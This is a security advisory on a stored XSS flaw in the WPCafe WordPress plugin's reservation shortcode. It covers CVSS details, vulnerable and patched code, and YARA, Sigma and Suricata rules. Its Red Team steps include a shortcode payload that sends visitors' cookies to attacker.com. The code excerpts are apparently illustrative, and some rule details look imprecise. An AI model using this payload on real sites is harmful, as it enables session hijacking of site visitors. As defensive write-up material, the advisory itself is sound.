CVE-2024-5427

Executive Summary

CVE-2024-5427 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPCafe – Online Food Ordering, Restaurant Menu, Delivery, and Reservations for WooCommerce WordPress plugin. The flaw resides in the plugin's Reservation Form shortcode, affecting all versions up to and including 2.2.24. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page, leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The CVSS score of 6.4 (Medium) reflects the need for authenticated access but the potential for widespread impact due to stored payloads.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been identified, but users should verify plugin integrity and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the attack requires authentication, the stored XSS can affect all site visitors, including administrators, leading to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability exists in the [wpcafe_reservation] shortcode, which renders a reservation form. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., title, description, or custom CSS classes) before outputting them in the HTML. An attacker with contributor-level access can craft a shortcode like:

[wpcafe_reservation title="<script>alert('XSS')</script>"]

When the shortcode is rendered, the malicious script is stored in the page content and executed in the browser of any user viewing that page. The lack of output escaping allows arbitrary HTML and JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (wpcafe/includes/shortcodes/class-reservation.php):

public function render_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
    ), $atts);
    // Direct output without escaping
    echo '<h2>' . $atts['title'] . '</h2>';
    echo '<p>' . $atts['description'] . '</p>';
}

Patched Code (hypothetical fix):

public function render_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
    ), $atts);
    // Properly escape output
    echo '<h2>' . esc_html($atts['title']) . '</h2>';
    echo '<p>' . esc_html($atts['description']) . '</p>';
}

The fix uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress site with WPCafe <= 2.2.24, contributor-level account.
2. Craft Payload: Create a post or page with the shortcode:

   [wpcafe_reservation title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

3. Trigger: Any user (including admins) visiting the page executes the script.
4. Impact: Steal session cookies, redirect users, or deface the site.

Blue Team

1. Detection: Monitor for shortcodes containing <script> or onerror attributes in post content.
2. Mitigation: Disable the plugin until patched, or apply a WAF rule to block XSS payloads in shortcode attributes.
3. Harden: Restrict contributor-level access and enforce content review.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wpcafe/includes/shortcodes/class-reservation.php (vulnerable file)
• Pattern: Shortcode attributes containing <script>, onerror, onload, or javascript:.
• Network: Outbound requests to unknown domains from the WordPress admin panel.
• Logs: Unusual shortcode usage in post revisions or page content.

Detection Engineering

YARA Rule

rule CVE_2024_5427_WPCafe_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WPCafe plugin"
        author = "Valters IT"
        date = "2025-04-15"
        reference = "CVE-2024-5427"
    strings:
        $shortcode = /\[wpcafe_reservation[^\]]*?title\s*=\s*["'][^"']*?<script[^>]*?>/
        $xss_payload = /<script[^>]*?>.*?<\/script>/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: WPCafe Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WPCafe reservation shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "[wpcafe_reservation"
        http.body|contains|re: "<script[^>]*?>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5427 WPCafe Stored XSS Attempt";
    flow:to_server,established;
    content:"[wpcafe_reservation";
    content:"<script";
    pcre:"/<script[^>]*?>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-5427;
)

Remediation & Mitigation

1. Immediate: Disable the WPCafe plugin until a patch is released.
2. Workaround: Apply a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
3. Long-term: Update to the latest version of WPCafe once patched (check vendor site).
4. Hardening: Restrict contributor-level accounts and enforce content review for all posts.
5. Monitoring: Enable logging for shortcode usage and review for suspicious patterns.

Valters IT